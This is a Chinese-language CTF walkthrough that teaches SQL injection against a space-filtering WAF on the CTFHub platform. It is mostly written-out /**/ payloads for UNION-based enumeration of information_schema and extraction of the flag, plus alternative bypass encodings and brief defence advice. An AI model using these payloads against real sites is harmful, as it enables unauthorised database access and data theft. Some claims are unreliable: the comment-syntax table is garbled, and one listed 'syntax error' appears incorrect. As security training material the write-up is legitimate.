当前位置: 首页 > news >正文

CTFHub过滤空格注入实战:手把手教你用/**/绕过WAF拿到Flag

CTFHub过滤空格注入实战:手把手教你用/**/绕过WAF拿到Flag

在CTF竞赛中,SQL注入始终是Web安全方向的热门考点。当遇到过滤空格的题目时,许多新手选手往往会陷入思维定式,不知如何突破防线。本文将带你从零开始,通过CTFHub平台上的"过滤空格"题目,掌握用注释符/**/替代空格的实战技巧,并深入剖析Payload构造的底层逻辑。

1. 环境准备与初步探测

首先访问CTFHub提供的题目页面,通常会看到一个简单的查询接口。我们尝试输入基础测试参数:

http://challenge-address/?id=1

页面正常显示后,开始注入测试。传统SQL注入会使用空格分隔关键词:

and 1=1

但此时页面返回"Hacker!!!"提示,说明WAF已拦截包含空格的请求。这是典型的空格过滤场景,我们需要寻找替代方案。

提示:现代WAF通常采用正则表达式匹配\s+来过滤空格,但注释符/**/往往不在检测范围内。

2. 注释符绕过技术解析

MySQL支持多种注释语法,在绕过过滤时各具特色:

注释类型示例适用场景
/**///AND//1=1通用空格替代
/!//!50000AND/1=1版本特定执行
#AND 1=1#行尾注释
--AND 1=1--需URL编码为--+

通过测试发现/**/在本题目中最稳定有效。构造第一个验证Payload:

?id=1/**/AND/**/1/**/=/**/1

当页面正常返回时,确认注入点存在且注释符绕过有效。接着测试假条件:

?id=1/**/AND/**/1/**/=/**/2

观察页面差异,确认存在布尔型注入特征。

3. 系统化注入流程实战

3.1 确定字段数量

使用ORDER BY子句逐步探测,从低位开始测试:

?id=1/**/ORDER/**/BY/**/1--+

逐步增加数字直到页面报错:

?id=1/**/ORDER/**/BY/**/3--+

当ORDER BY 3返回错误时,确定字段数为2。

3.2 联合查询定位回显点

构造UNION SELECT查询,注意NULL值的使用:

?id=-1/**/UNION/**/SELECT/**/NULL,NULL--+

若页面显示异常,尝试将NULL替换为数字:

?id=-1/**/UNION/**/SELECT/**/1,2--+

观察页面何处显示"1"或"2",即为可回显位置。

3.3 数据库信息收集

通过version()和database()函数获取基础信息:

?id=-1/**/UNION/**/SELECT/**/1,version()--+ ?id=-1/**/UNION/**/SELECT/**/1,database()--+

在CTFHub环境中,通常会得到类似以下信息:

  • 数据库版本:MariaDB 10.3.22
  • 当前数据库名:sqli

3.4 数据爆破完整流程

  1. 枚举所有数据库
?id=-1/**/UNION/**/SELECT/**/1,group_concat(schema_name)/**/FROM/**/information_schema.schemata--+
  1. 列出目标数据库表
?id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='sqli'--+
  1. 获取表字段结构
?id=-1/**/UNION/**/SELECT/**/1,group_concat(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema='sqli'/**/AND/**/table_name='lrfbovgrtq'--+
  1. 提取最终Flag
?id=-1/**/UNION/**/SELECT/**/1,group_concat(ntzwkdyzie)/**/FROM/**/sqli.lrfbovgrtq--+

4. 高级绕过技巧与防御策略

4.1 备选绕过方案

当/**/被过滤时,可尝试以下替代方案:

  • 括号包裹法(union)(select)(1,2)
  • 特殊空白符%a0UNION%a0SELECT%a01,2
  • 内联注释/*!UNION*//*!SELECT*/1,2
  • 换行符UNION%0ASELECT%0A1,2

4.2 开发者防御建议

对于Web应用开发者,推荐采用多层防御策略:

  1. 预处理参数化查询

    # Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. WAF规则强化

    • 过滤/\*.*?\*/正则模式
    • 检测非常规空白符(%a0, %0A等)
  3. 最小权限原则

    • 数据库账户仅授予必要权限
    • 禁用information_schema的公共访问

5. 实战中的常见误区

新手在解题过程中容易陷入以下陷阱:

  1. 注释符嵌套错误

    • 错误示例:/*/**/UNION/*/**/SELECT*/1,2
    • 正确写法:/**/UNION/**/SELECT/**/1,2
  2. URL编码问题

    • 空格应编码为%20或+
    • 单引号需编码为%27
  3. 布尔逻辑混淆

    • 错误:1=/**/2(语法错误)
    • 正确:1/**/=/**/2
  4. 字段数判断失误

    • 避免直接猜测大数字
    • 应从低位逐步测试

在最近一次线下CTF比赛中,有队伍因忽略URL编码导致Payload失效,最终通过以下修正获得成功:

?id=1%2f**%2fAND%2f**%2f1%2f**%2f=%2f**%2f1

这种对细节的把握往往是取胜关键。

http://www.jsqmd.com/news/536576/

相关文章:

  • SQL Server死锁别慌!手把手教你用‘读提交快照’快速解决(附监控SQL)
  • 【开题答辩全过程】以 基于SSM Vue的中药知识学习交流网站为例,包含答辩的问题和答案
  • OpenClaw+Qwen3.5-9B:自动化技术博客写作与发布流水线
  • Chatbot界面效率优化实战:从架构设计到性能调优
  • OpenClaw开源贡献:为nanobot提交新技能PR指南
  • 2026深圳租巴士品牌推荐适配各类团队出行:深圳南山租车去香港、深圳团建租车公司、深圳大巴出租公司、深圳大巴找哪家选择指南 - 优质品牌商家
  • 2026建筑施工动画公司推荐指南:施工动画制作价格/机械动画制作价格/机械动画制作公司/演示动画制作价格/演示动画制作公司/选择指南 - 优质品牌商家
  • 关于Java的毕业设计:从零实现一个高内聚低耦合的实战项目架构
  • 终极指南:深度解析OpenCore Legacy Patcher让老旧Mac焕发新生的完整方案
  • OpenClaw+nanobot安全实践:个人数据本地化处理方案
  • OpenClaw问题诊断:Qwen3.5-4B-Claude返回空响应的排查
  • 基于cosyvoice的音色保存实战:从采集到模型部署的全流程解析
  • 终极指南:如何使用kohya_ss快速创建专属AI绘画模型
  • AI算力狂飙背后的秘密:当“稳重老哥”Gloo遇上“极速引擎”NCCL
  • Waterfox水狐浏览器
  • OpenClaw终端增强:GLM-4.7-Flash解读Linux命令输出的智能方案
  • openEuler与OpenSSL 3.0.12兼容性实测:只升OpenSSH不升OpenSSL的完整操作
  • 5个步骤让老Mac通过OpenCore Legacy Patcher实现macOS持续升级
  • 如何快速搭建LTX-Video:实时AI视频生成的终极配置指南
  • ITU-R BT.601建议书标准解读和应用指南 - 读懂数字电视的“老祖宗”
  • OpenClaw私有化部署Qwen3-VL:30B:飞书助手全流程
  • OpenClaw+Qwen3-VL:30B:个人智能助手
  • 智能客服意图识别实战:基于AI辅助开发的架构设计与避坑指南
  • OpenClaw+ollama-QwQ-32B邮件助手:智能分类与自动回复方案
  • 效率对比测试:OpenClaw+nanobot vs 手动完成重复工作
  • Matter深度解析:智能家居的通用语言与5大实战场景
  • 大模型微调实战:告别“博学但散漫”,让你的AI“听话又专业”!
  • ChatGPT论文润色指令:从技术原理到高效实践指南
  • OpenClaw轻量对比:nanobot镜像与原版Qwen3-4B性能差异
  • 别再用threading模拟并发了!Python异步I/O的5层并发模型深度解构:从Selector到Proactor,从单Loop到多Worker进程协同